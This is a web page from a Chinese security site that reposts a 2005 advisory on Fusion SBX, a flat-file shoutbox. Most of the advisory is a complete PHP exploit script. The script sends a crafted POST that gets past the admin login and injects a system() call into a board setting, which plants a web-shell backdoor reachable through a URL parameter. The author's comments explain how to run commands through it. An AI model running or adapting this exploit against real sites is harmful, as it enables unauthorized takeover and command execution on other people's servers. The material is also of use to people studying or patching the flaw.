首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Fusion SBX Password Bypass and Remote Command Execution
来源:dave@kidindustries.net 作者:Dave 发布时间:2005-05-10  

Fusion SBX Password Bypass and Remote Command Execution

Summary
Fusion SBX "will allow your visitors to post comments on your sites, or just say hi. And the best of all is that, it is flat-file, that means that you do not need a MySQL database to install Fusion SBX. You have complete control over the shoutout board".

A vulnerability in Fusion SBX allows remote attackers to modify the product's settings without knowing the administrator password, in addition by injecting arbitrary PHP code to one of the board's settings a remote attacker is able to cause the program to execute arbitrary code.

Credit:
The information has been provided by Dave.

Details
Vulnerable Systems:
* Fusion SBX version 1.2 and prior

Exploit:
<?
/*
* Fusion SBX <= 1.2 admin panel login bypass and remote-command execution exploit
* Exploit discovered 2005-5-2 in about 10 minutes of code lookover for login
* without proper details, then fooled around and found this nice remote command
* execution bug with it.
*
* This code will open a backdoor on the requested site running Fusion SBX 1.2 or
* lower, so you can just call www.site.com/sbx/index.php?mycmd=id or something.
* Newbie tip: Look in the source code after loading an attacked page for a
* properly-formatted command result that isn't all just stuffed on one line.
*
* When you execute commands using this bug, it'll give some error about headers
* already sent, but that's ok. Hacking is sometimes messy.
*
* irc.kidindustries.net #main
* dave {AT] kidindustries !DOT% net
*
* They call me Davus... Also known as Kidiot or Hook?
* NOT Dedicated to the Habbo kiddies... OK, maybe some of 'em. ;)
* Greets to Sirak, Ed, Pyxsul, and remember... CHRISSY > YOU
* SecuriTeam/

$host = "localhost";
$path = "/sbx/admin/"; // Starting and trailing slash needed
(/sbx/admin/ and such)

echo "[+] URL: http://$host$path\n";

$post =
"set2=basic&admin_set2=standard&lang2=english&plimit2=10".
"&noname2=Guest&refresh2=120&maxname2=30%3B%40system".
"%28%24_GET%5Bmycmd%5D%29&maxmess2=120&maxlink2=120".
"&wordbanning2=1&maxword2=20 "&wrapstat2=1&postorder2=1".
"&setsubmit=Commit+Changes&is_logged=1";
// Didn't trim up $post from useless variables such as the submit button, but whatever.

$req = "POST $path?settings HTTP/1.0\r\n";
$req .= "Host: $host\r\n";
$req .= "Connection: close\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Length: ".strlen($post)."\r\n\r\n";

$req .= $post;

echo "[+] Request built, using:\n$post\nas post data\n";

if($sck = fsockopen($host, 80)) {
echo "[+] Connected, sending request\n";
fwrite($sck, $req);
echo "[+] Request dumped to server!\n\n\n\n";
// $reply = fread($sck, 1048576); // A megabyte is MORE than enough.
// echo "[~] Server replied:\n$reply\n";
// Eh, uncomment if you wish, I just had to debug this script a bit.
fclose($sck);
echo "Now try http://$host$path?mycmd=id to see if exploit was
successful...\n";
}
else {
echo "[-] Connection failed!\n";
exit(-1); }
?>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ethereal SIP Dissector Overflo
·Ethereal DistCC Buffer Overflo
·NetWin DMail Format String (xt
·Mozilla Firefox Arbitrary Code
·Mozilla Firefox 1.0.3 Remote A
·Hosting Controller Unauthentic
·Ethereal <= 0.10.10 SMB Dis
·MySQL MaxDB Webtool GET Comman
·4D WebStar Tomcat Plugin Remot
·Microsoft Message Queuing Remo
·I-Mall Commerce i-mall.cgi Rem
·Linux Kernel binfmt_elf Core D
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved